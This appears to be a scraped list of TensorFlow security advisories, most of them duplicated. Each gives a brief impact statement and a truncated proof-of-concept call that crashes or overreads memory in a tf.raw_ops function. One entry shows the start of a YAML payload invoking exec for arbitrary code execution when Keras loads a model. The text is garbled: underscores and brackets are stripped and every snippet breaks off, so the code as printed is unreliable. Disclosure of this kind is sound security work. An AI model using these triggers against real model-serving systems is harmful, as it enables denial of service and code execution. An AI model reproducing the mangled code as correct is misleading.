FPE in `tf.raw_ops.UnravelIndex`

Impact An attacker can cause denial of service in applications serving models using tf.rawops.UnravelIndex by triggering a division by 0: python import tensorflow as tf tf.rawops.UnravelIndexindices=-1, dims=1,0,2 The implementation does not check that the tensor subsumed by dims is not empty...

GHSA-VMJW-C2VP-P33C Crash in NMS ops caused by integer conversion to unsigned

Impact An attacker can cause denial of service in applications serving models using tf.rawops.NonMaxSuppressionV5 by triggering a division by 0: python import tensorflow as tf tf.rawops.NonMaxSuppressionV5 boxes=0.1,0.1,0.1,0.1,0.2,0.2,0.2,0.2,0.3,0.3,0.3,0.3, scores=1.0,2.0,3.0, maxoutputsize=-1...

Crash in NMS ops caused by integer conversion to unsigned

Impact An attacker can cause denial of service in applications serving models using tf.rawops.NonMaxSuppressionV5 by triggering a division by 0: python import tensorflow as tf tf.rawops.NonMaxSuppressionV5 boxes=0.1,0.1,0.1,0.1,0.2,0.2,0.2,0.2,0.3,0.3,0.3,0.3, scores=1.0,2.0,3.0, maxoutputsize=-1...

GHSA-9697-98PF-4RW7 Heap OOB in `UpperBound` and `LowerBound`

Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.rawops.UpperBound: python import tensorflow as tf tf.rawops.UpperBound sortedinput=1,2,3, values=tf.constantvalue=0,0,0,1,1,1,2,2,2,dtype=tf.int64, outtype=tf.int64 The...

Heap OOB in `UpperBound` and `LowerBound`

Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.rawops.UpperBound: python import tensorflow as tf tf.rawops.UpperBound sortedinput=1,2,3, values=tf.constantvalue=0,0,0,1,1,1,2,2,2,dtype=tf.int64, outtype=tf.int64 The...

Reference binding to nullptr in map operations

Impact An attacker can cause undefined behavior via binding a reference to null pointer in tf.rawops.Map and tf.rawops.OrderedMap operations: python import tensorflow as tf tf.rawops.MapPeek key=tf.constant8,dtype=tf.int64, indices=, dtypes=tf.int32, capacity=8, memorylimit=128 The implementation...

GHSA-QR82-2C78-4M8H Reference binding to nullptr in map operations

Impact An attacker can cause undefined behavior via binding a reference to null pointer in tf.rawops.Map and tf.rawops.OrderedMap operations: python import tensorflow as tf tf.rawops.MapPeek key=tf.constant8,dtype=tf.int64, indices=, dtypes=tf.int32, capacity=8, memorylimit=128 The implementation...

Heap OOB in `SdcaOptimizerV2`

Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.rawops.SdcaOptimizerV2: python import tensorflow as tf tf.rawops.SdcaOptimizerV2 sparseexampleindices=1, sparsefeatureindices=1, sparsefeaturevalues=1.0,2.0,...

GHSA-5HJ3-VJJF-F5M7 Heap OOB in `SdcaOptimizerV2`

Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.rawops.SdcaOptimizerV2: python import tensorflow as tf tf.rawops.SdcaOptimizerV2 sparseexampleindices=1, sparsefeatureindices=1, sparsefeaturevalues=1.0,2.0,...

GHSA-278G-RQ84-9HMG `CHECK`-fail in `MapStage`

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.MapStage: python import tensorflow as tf tf.rawops.MapStage key=tf.constant, shape=0, 0, 0, 0, dtype=tf.int64, indices=tf.constant0, dtype=tf.int32, values=tf.constant0, dtype=tf.int32, dtypes=tf.int32, tf.int64,...

`CHECK`-fail in `MapStage`

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.MapStage: python import tensorflow as tf tf.rawops.MapStage key=tf.constant, shape=0, 0, 0, 0, dtype=tf.int64, indices=tf.constant0, dtype=tf.int32, values=tf.constant0, dtype=tf.int32, dtypes=tf.int32, tf.int64,...

Incomplete validation in `MaxPoolGrad`

Impact An attacker can trigger a denial of service via a segmentation fault in tf.rawops.MaxPoolGrad caused by missing validation: python import tensorflow as tf tf.rawops.MaxPoolGrad originput = tf.constant, shape=3, 0, 0, 2, dtype=tf.float32, origoutput = tf.constant, shape=3, 0, 0, 2,...

GHSA-7GHQ-FVR3-PJ2X Incomplete validation in `MaxPoolGrad`

Impact An attacker can trigger a denial of service via a segmentation fault in tf.rawops.MaxPoolGrad caused by missing validation: python import tensorflow as tf tf.rawops.MaxPoolGrad originput = tf.constant, shape=3, 0, 0, 2, dtype=tf.float32, origoutput = tf.constant, shape=3, 0, 0, 2,...

GHSA-9C8H-2MV3-49WW Division by 0 in most convolution operators

Impact Most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash: python import tensorflow as tf tf.compat.v1.disablev2behavior tf.rawops.Conv2D input = tf.constant, shape=0, 0, 0, 0,...

Division by 0 in most convolution operators

Impact Most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash: python import tensorflow as tf tf.compat.v1.disablev2behavior tf.rawops.Conv2D input = tf.constant, shape=0, 0, 0, 0,...

Reference binding to nullptr in shape inference

Impact An attacker can cause undefined behavior via binding a reference to null pointer in tf.rawops.SparseFillEmptyRows: python import tensorflow as tf tf.compat.v1.disablev2behavior tf.rawops.SparseFillEmptyRows indices = tf.constant, shape=0, 0, dtype=tf.int64, values = tf.constant, shape=0,...

Missing validation in shape inference for `Dequantize`

Impact The shape inference code for tf.rawops.Dequantize has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments: python import tensorflow as tf tf.compat.v1.disablev2behavior tf.rawops.Dequantize inputtensor = tf.constant-10.0,...

Arbitrary code execution due to YAML deserialization

Impact TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format. python from tensorflow.keras import models payload = ''' !!python/object/new:type args: 'z', !!python/tuple , 'extend': !!python/name:exec listitems:...

GHSA-R6JX-9G48-2R5R Arbitrary code execution due to YAML deserialization

Impact TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format. python from tensorflow.keras import models payload = ''' !!python/object/new:type args: 'z', !!python/tuple , 'extend': !!python/name:exec listitems:...

Heap OOB in nested `tf.map_fn` with `RaggedTensor`s

Impact It is possible to nest a tf.mapfn within another tf.mapfn call. However, if the input tensor is a RaggedTensor and there is no function signature provided, code assumes the output is a fully specified tensor and fills output buffer with uninitialized contents from the heap: python import...